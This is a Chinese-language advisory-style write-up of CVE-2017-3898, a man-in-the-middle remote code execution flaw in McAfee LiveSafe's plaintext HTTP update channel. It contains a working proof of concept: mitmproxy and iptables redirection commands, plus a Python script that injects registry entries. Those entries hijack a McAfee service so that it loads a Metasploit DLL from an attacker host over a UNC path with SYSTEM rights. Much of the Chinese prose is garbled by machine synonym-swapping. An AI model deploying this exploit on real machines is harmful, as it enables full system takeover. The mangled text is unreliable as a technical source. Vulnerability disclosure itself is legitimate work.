麦咖啡McAfee LiveSafe MiTM RCE漏洞(CVE-2017-3898)研究专题

漏洞破绽bug概述
该漏洞破绽bug影响McAfee LiveSafe (MLS) 16.0.3以前的全体版本,存在长途代码履行。此漏洞破绽bug容许入侵攻击者经由过程窜改HTTP后端相应,从而改动与McAfee更新相干的Windows注册表值。
McAfee Security Scan Plus是一个收费的诊断对象,可反省计算机中的防病毒软件、防火墙及Web网安软件,同时还会扫描已运转法式中的威逼。
该漏洞破绽bug由Silent Signal初次发明并传递。今朝已宣布该漏洞破绽bug的补钉,网址为:https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714
漏洞破绽bug概况
入侵攻击者能够在多个McAfee产物中完成长途代码履行。受影响的产物会经由过程明文HTTP通道,从http://COUNTRY.mcafee.com/apps/msc/webupdates/mscconfig.asp检索设置装备摆设数据(其中的“COUNTRY”改动为国度的两字母标识符,比方英国事“uk”、中国事“cn”)。
相应的注释包括XML格局数据,类似于以下内容:
webservice-response response-version="1.0" frequency="168"
verid="1#1316#15#0#2">
update>
reg key="HKLMSOFTWAREMcAfeeMSCSettingsInProductTransaction"
name="enable" type="REG_DWORD" value="1" obfuscate="0"/>
update>
webservice-response>
在上述相应中,描写了在“webservice-response/update”门路下应用reg标志停止的注册表改动行动。
这一哀乞降后续的更新会主动触发,初次触发是在软件装置后的特定分钟后(默许环境下为168分钟)。
此更新由McSvHost.exe过程的PlatformServiceFW.dll履行,办法是应用/update参数挪用mcsvrcnt.exe法式。McSvHost.exe过程应用由完成注册表变动的mcsvrcnt.exe承继的体系权限运转。
是以,入侵攻击者能够改动办事器相应,以应用体系(SYSTEM)权限写入特定的注册表。
PoC
咱们能够借助该漏洞破绽bug,作为署理来拦阻和改动明文HTTP哀求及相应。因为该软件对HTTPS办事会停止证书验证,是以,让这些连接不颠末改动就异常紧张。
惯例的HTTP署理形式中,能够经由过程应用--ignore mitmproxy的敕令行参数来完成这一点:

mitmproxy -s mcreggeli_inline.py --ignore '.*'
在通明署理的形式下,不应该供给上述参数:

mitmproxy -s mreggeli_inline.py –T
针对通明署理形式,可应用以下敕令,在基于Debian的Linux刊行版本上设置装备摆设 NAT和端口重定向(此处eth0 是对目的可见的接口,eth1连接到网络):

"text-indent: 0em;">iptables -t nat -A PREROUTING -i eth0 -p tcp
--dport 80 -j REDIRECT --to 8080
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
sysctl net.ipv4.ip_forward=1/p>
该剧本会在哀求URL中查找“mscconfig.asp”字符串。假如发明XML相应注释被反序列化,则会依据在剧本开首申明的reg变量,增加新的reg节点。REG变量是一个字典列表,每一个字典都包括以下键:
密钥:要改动的注册表项的称号 (比方“HKLMSYSTEMCurrentControlSetServicesmfevtp”,其中的反斜线需停止Python的本义);
范例:必要创立的值的范例(比方字符串的“REG_SZ”);
称号:必要创立的值的称号;
值:必要创立的值。
该漏洞破绽bug应用还会将频率属性变动成1,这样一来,假如必要再次渗入渗出,就能够在更短的时间内(1小时以内)停止。拔出新节点后,将序列化天生的对象,并将其置于原始相应注释的地位。
为了演示,咱们覆盖了受影响的McAfee产物(即mfevtp,McAfee过程验证办事)的一个办事条款——HKLMSYSTEMCurrentControlSetServicesmfevtp,其值被调换为指向带有指向入侵攻击主机的 UNC 门路参数的rundll32.exe。在这里,咱们应用了Metasploit中smb_delivery模块供给的payload test.dll:

REG变量申明以下:

REG=[{"key":"HKLMSYSTEMCurrentControlSetServicesmfevtp", "type":"REG_SZ","name":"ImagePath", "value":"c:windowssystem32rundll32.exe 172.16.205.1pwntest.dll,0"},]
这样一来,在从新启动计算机以后,体系(SYSTEM)级的敕令履行就会被触发,而McAfee软件并无发明该环境的存在。
mcreggeli_inline.py
#!/usr/bin/env python3
#
# HTTP proxy mode:
#  mitmproxy -s mcreggeli_inline.py --ignore '.*'
#
# Transparent proxy mode:
#   mitmproxy -s mcreggeli_inline.py -T --host
# from mitmproxy import ctx, http
from lxml import etree
REG=[{"key":"HKLMSYSTEMCurrentControlSetServicesmfevtp","type":"REG_SZ","name":"ImagePath","value":"c:windowssystem32rundll32.exe 172.16.205.1pwntest.dll,0"},]
  def response(flow):
        if flow.request.scheme == "http" and "mscconfig.asp" in flow.request.url:
            try:
                oxml=etree.XML(flow.response.content)
                oxml.set("frequency","1")

                update=oxml.xpath("//webservice-response/update")[0]
                for r in REG:
                    reg=etree.SubElement(update,"reg")
                    reg.set("key", r["key"])
                    reg.set("type", r["type"])
                    reg.set("obfuscate", "0")
                    reg.set("name", r["name"])
                    reg.set("value", r["value"])
                #ctx.log(etree.tostring(oxml))
                flow.response.content=etree.tostring(oxml)
                ctx.log("[+] [MCREGGELI] Payload sent")
            except etree.XMLSyntaxError:
                ctx.log("[-] [MCREGGELI] XML deserialization error")